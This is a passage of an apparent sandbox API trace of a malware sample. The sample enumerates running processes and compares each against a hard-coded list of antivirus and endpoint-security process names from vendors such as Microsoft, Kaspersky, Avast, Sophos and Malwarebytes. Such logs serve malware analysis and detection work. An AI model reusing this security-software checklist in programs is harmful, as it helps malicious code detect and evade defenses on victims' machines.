Size=0xe) returned 0x26ef8e0 [0272.566] lstrlenA (lpString="bdagent.exe;vsserv.exe;vsservppl.exe") returned 36 [0272.566] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef880 | out: hHeap=0x2670000) returned 1 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef880 [0272.566] lstrlenA (lpString="AvastSvc.exe") returned 12 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x4) returned 0x26ef898 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef8f8 [0272.566] lstrlenA (lpString="AvastSvc.exe") returned 12 [0272.566] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef880 | out: hHeap=0x2670000) returned 1 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x2f) returned 0x26ef910 [0272.566] lstrlenA (lpString="coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe") returned 46 [0272.566] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef880 [0272.567] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef948 [0272.567] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef968 [0272.568] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef980 [0272.568] lstrlenA (lpString="coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe") returned 46 [0272.568] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef910 | out: hHeap=0x2670000) returned 1 [0272.568] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x23) returned 0x26ef910 [0272.568] lstrlenA (lpString="SAVAdminService.exe;SavService.exe") returned 34 [0272.568] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef998 [0272.568] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x14) returned 0x26ef9a8 [0272.568] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb70 [0272.568] lstrlenA (lpString="SAVAdminService.exe;SavService.exe") returned 34 [0272.568] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef910 | out: hHeap=0x2670000) returned 1 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efac8 [0272.569] lstrlenA (lpString="fshoster32.exe") returned 14 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x4) returned 0x26effd0 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efae0 [0272.569] lstrlenA (lpString="fshoster32.exe") returned 14 [0272.569] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efab0 [0272.569] lstrlenA (lpString="WRSA.exe") returned 8 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x4) returned 0x26ef910 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26ef9f0 [0272.569] lstrlenA (lpString="WRSA.exe") returned 8 [0272.569] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x22) returned 0x2676b18 [0272.569] lstrlenA (lpString="vkise.exe;isesrv.exe;cmdagent.exe") returned 33 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb40 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efba0 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa08 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efb58 [0272.569] lstrlenA (lpString="vkise.exe;isesrv.exe;cmdagent.exe") returned 33 [0272.569] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2676b18 | out: hHeap=0x2670000) returned 1 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efaf8 [0272.569] lstrlenA (lpString="ByteFence.exe") returned 13 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x4) returned 0x26ef920 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa20 [0272.569] lstrlenA (lpString="ByteFence.exe") returned 13 [0272.569] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x1c) returned 0x2676b18 [0272.569] lstrlenA (lpString="MBAMService.exe;mbamgui.exe") returned 27 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef930 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efac8 [0272.569] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb88 [0272.569] lstrlenA (lpString="MBAMService.exe;mbamgui.exe") returned 27 [0272.570] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x2676b18 | out: hHeap=0x2670000) returned 1 [0272.570] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa98 [0272.570] lstrlenA (lpString="fmon.exe") returned 8 [0272.570] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x4) returned 0x2676b18 [0272.570] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa68 [0272.570] lstrlenA (lpString="fmon.exe") returned 8 [0272.570] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0272.570] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c [0272.598] Process32First (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="ccSvcHst.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="avgcsrvx.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="avgsvcx.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="avgcsrva.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="MsMpEng.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="mcshield.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="avp.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="kavtray.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="egui.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="ekrn.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="bdagent.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="vsserv.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="vsservppl.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="AvastSvc.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="coreServiceShell.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="PccNTMon.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="NTRTScan.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="SAVAdminService.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="SavService.exe") returned -1 [0272.599] lstrcmpiA (lpString1="[System Process]", lpString2="fshoster32.exe") returned -1 [0272.600] lstrcmpiA (lpString1="[System Process]", lpString2="WRSA.exe") returned -1 [0272.600] lstrcmpiA (lpString1="[System Process]", lpString2="vkise.exe") returned -1 [0272.600] lstrcmpiA (lpString1="[System Process]", lpString2="isesrv.exe") returned -1 [0272.600] lstrcmpiA (lpString1="[System Process]", lpString2="cmdagent.exe") returned -1 [0272.600] lstrcmpiA (lpString1="[System Process]", lpString2="ByteFence.exe") returned -1 [0272.600] lstrcmpiA (lpString1="[System Process]", lpString2="MBAMService.exe") returned -1 [0272.600] lstrcmpiA (lpString1="[System Process]", lpString2="mbamgui.exe") returned -1 [0272.600] lstrcmpiA (lpString1="[System Process]", lpString2="fmon.exe") returned -1 [0272.600] Sleep (dwMilliseconds=0xa) [0272.654] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="ccSvcHst.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="avgcsrvx.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="avgsvcx.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="avgcsrva.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="MsMpEng.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="mcshield.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="avp.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="kavtray.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="egui.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="ekrn.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="bdagent.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="vsserv.exe") returned -1 [0272.655] lstrcmpiA (lpString1="System", lpString2="vsservppl.exe") returned -1 [0272.655] lstrcmpiA (lpString1="System", lpString2="AvastSvc.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="coreServiceShell.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="PccNTMon.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="NTRTScan.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="SAVAdminService.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="SavService.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="fshoster32.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="WRSA.exe") returned -1 [0272.655] lstrcmpiA (lpString1="System", lpString2="vkise.exe") returned -1 [0272.655] lstrcmpiA (lpString1="System", lpString2="isesrv.exe") returned 1 [0272.655] lstrcmpiA (lpString1="System", lpString2="cmdagent.exe") returned 1 [0272.656] lstrcmpiA (lpString1="System", lpString2="ByteFence.exe") returned 1 [0272.656] lstrcmpiA (lpString1="System", lpString2="MBAMService.exe") returned 1 [0272.656] lstrcmpiA (lpString1="System", lpString2="mbamgui.exe") returned 1 [0272.656] lstrcmpiA (lpString1="System", lpString2="fmon.exe") returned 1 [0272.656] Sleep (dwMilliseconds=0xa) [0272.671] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="ccSvcHst.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="avgcsrvx.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="avgsvcx.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="avgcsrva.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="MsMpEng.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="mcshield.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="avp.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="kavtray.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="egui.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="ekrn.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="bdagent.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="vsserv.exe") returned -1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="vsservppl.exe") returned -1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="AvastSvc.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="coreServiceShell.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="PccNTMon.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="NTRTScan.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="SAVAdminService.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="SavService.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="fshoster32.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="WRSA.exe") returned -1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="vkise.exe") returned -1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="isesrv.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="cmdagent.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="ByteFence.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="MBAMService.exe") returned 1 [0272.672] lstrcmpiA (lpString1="smss.exe", lpString2="mbamgui.exe") returned 1 [0272.673] lstrcmpiA (lpString1="smss.exe", lpString2="fmon.exe") returned 1 [0272.673] Sleep (dwMilliseconds=0xa) [0272.706] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="ccSvcHst.exe") returned 1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrvx.exe") returned 1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="avgsvcx.exe") returned 1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrva.exe") returned 1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="MsMpEng.exe") returned -1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="mcshield.exe") returned -1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="avp.exe") returned 1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="kavtray.exe") returned -1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="egui.exe") returned -1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="ekrn.exe") returned -1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="bdagent.exe") returned 1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="vsserv.exe") returned -1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="vsservppl.exe") returned -1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="AvastSvc.exe") returned 1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="coreServiceShell.exe") returned 1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="PccNTMon.exe") returned -1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="NTRTScan.exe") returned -1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="SAVAdminService.exe") returned -1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="SavService.exe") returned -1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="fshoster32.exe") returned -1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="WRSA.exe") returned -1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="vkise.exe") returned -1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="isesrv.exe") returned -1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="cmdagent.exe") returned 1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="ByteFence.exe") returned 1 [0272.707] lstrcmpiA (lpString1="csrss.exe", lpString2="MBAMService.exe") returned -1 [0272.708] lstrcmpiA (lpString1="csrss.exe", lpString2="mbamgui.exe") returned -1 [0272.708] lstrcmpiA (lpString1="csrss.exe", lpString2="fmon.exe") returned -1 [0272.708] Sleep (dwMilliseconds=0xa) [0272.750] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.750] lstrcmpiA (lpString1="wininit.exe", lpString2="ccSvcHst.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="avgcsrvx.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="avgsvcx.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="avgcsrva.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="MsMpEng.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="mcshield.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="avp.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="kavtray.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="egui.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="ekrn.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="bdagent.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="vsserv.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="vsservppl.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="AvastSvc.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="coreServiceShell.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="PccNTMon.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="NTRTScan.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="SAVAdminService.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="SavService.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="fshoster32.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="WRSA.exe") returned -1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="vkise.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="isesrv.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="cmdagent.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="ByteFence.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="MBAMService.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="mbamgui.exe") returned 1 [0272.751] lstrcmpiA (lpString1="wininit.exe", lpString2="fmon.exe") returned 1 [0272.752] Sleep (dwMilliseconds=0xa) [0272.771] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.772] lstrcmpiA (lpString1="csrss.exe", lpString2="ccSvcHst.exe") returned 1 [0272.772] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrvx.exe") returned 1 [0272.772] lstrcmpiA (lpString1="csrss.exe", lpString2="avgsvcx.exe") returned 1 [0272.772] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrva.exe") returned 1 [0272.772] lstrcmpiA (lpString1="csrss.exe", lpString2="MsMpEng.exe") returned -1 [0272.772] lstrcmpiA (lpString1="csrss.exe", lpString2="mcshield.exe") returned -1 [0272.772] lstrcmpiA (lpString1="csrss.exe", lpString2="avp.exe") returned 1 [0272.772] lstrcmpiA (lpString1="csrss.exe", lpString2="kavtray.exe") returned -1 [0272.772] lstrcmpiA (lpString1="csrss.exe", lpString2="egui.exe") returned -1 [0272.772] lstrcmpiA (lpString1="csrss.exe", lpString2="ekrn.exe") returned -1 [0272.772] lstrcmpiA (lpString1="csrss.exe", lpString2="bdagent.exe") returned 1 [0272.772] lstrcmpiA (lpString1="csrss.exe", lpString2="vsserv.exe") returned -1 [0272.772] lstrcmpiA (lpString1="csrss.exe", lpString2="vsservppl.exe") returned -1 [0272.772] lstrcmpiA (lpString1="csrss.exe", lpString2="AvastSvc.exe") returned 1 [0272.773] lstrcmpiA (lpString1="csrss.exe", lpString2="coreServiceShell.exe") returned 1 [0272.773] lstrcmpiA (lpString1="csrss.exe", lpString2="PccNTMon.exe") returned -1 [0272.773] lstrcmpiA (lpString1="csrss.exe", lpString2="NTRTScan.exe") returned -1 [0272.773] lstrcmpiA (lpString1="csrss.exe", lpString2="SAVAdminService.exe") returned -1 [0272.773] lstrcmpiA (lpString1="csrss.exe", lpString2="SavService.exe") returned -1 [0272.773] lstrcmpiA (lpString1="csrss.exe", lpString2="fshoster32.exe") returned -1 [0272.773] lstrcmpiA (lpString1="csrss.exe", lpString2="WRSA.exe") returned -1 [0272.773] lstrcmpiA (lpString1="csrss.exe", lpString2="vkise.exe") returned -1 [0272.773] lstrcmpiA (lpString1="csrss.exe", lpString2="isesrv.exe") returned -1 [0272.773] lstrcmpiA (lpString1="csrss.exe", lpString2="cmdagent.exe") returned 1 [0272.773] lstrcmpiA (lpString1="csrss.exe", lpString2="ByteFence.exe") returned 1 [0272.773] lstrcmpiA (lpString1="csrss.exe", lpString2="MBAMService.exe") returned -1 [0272.773] lstrcmpiA (lpString1="csrss.exe", lpString2="mbamgui.exe") returned -1 [0272.773] lstrcmpiA (lpString1="csrss.exe", lpString2="fmon.exe") returned -1 [0272.773] Sleep (dwMilliseconds=0xa) [0272.795] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.795] lstrcmpiA (lpString1="winlogon.exe", lpString2="ccSvcHst.exe") returned 1 [0272.795] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgcsrvx.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgsvcx.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgcsrva.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="MsMpEng.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="mcshield.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="avp.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="kavtray.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="egui.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="ekrn.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="bdagent.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="vsserv.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="vsservppl.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="AvastSvc.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="coreServiceShell.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="PccNTMon.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="NTRTScan.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="SAVAdminService.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="SavService.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="fshoster32.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="WRSA.exe") returned -1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="vkise.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="isesrv.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="cmdagent.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="ByteFence.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="MBAMService.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="mbamgui.exe") returned 1 [0272.796] lstrcmpiA (lpString1="winlogon.exe", lpString2="fmon.exe") returned 1 [0272.796] Sleep (dwMilliseconds=0xa) [0272.864] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.864] lstrcmpiA (lpString1="services.exe", lpString2="ccSvcHst.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="avgcsrvx.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="avgsvcx.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="avgcsrva.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="MsMpEng.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="mcshield.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="avp.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="kavtray.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="egui.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="ekrn.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="bdagent.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="vsserv.exe") returned -1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="vsservppl.exe") returned -1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="AvastSvc.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="coreServiceShell.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="PccNTMon.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="NTRTScan.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="SAVAdminService.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="SavService.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="fshoster32.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="WRSA.exe") returned -1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="vkise.exe") returned -1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="isesrv.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="cmdagent.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="ByteFence.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="MBAMService.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="mbamgui.exe") returned 1 [0272.865] lstrcmpiA (lpString1="services.exe", lpString2="fmon.exe") returned 1 [0272.865] Sleep (dwMilliseconds=0xa) [0272.888] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x244, 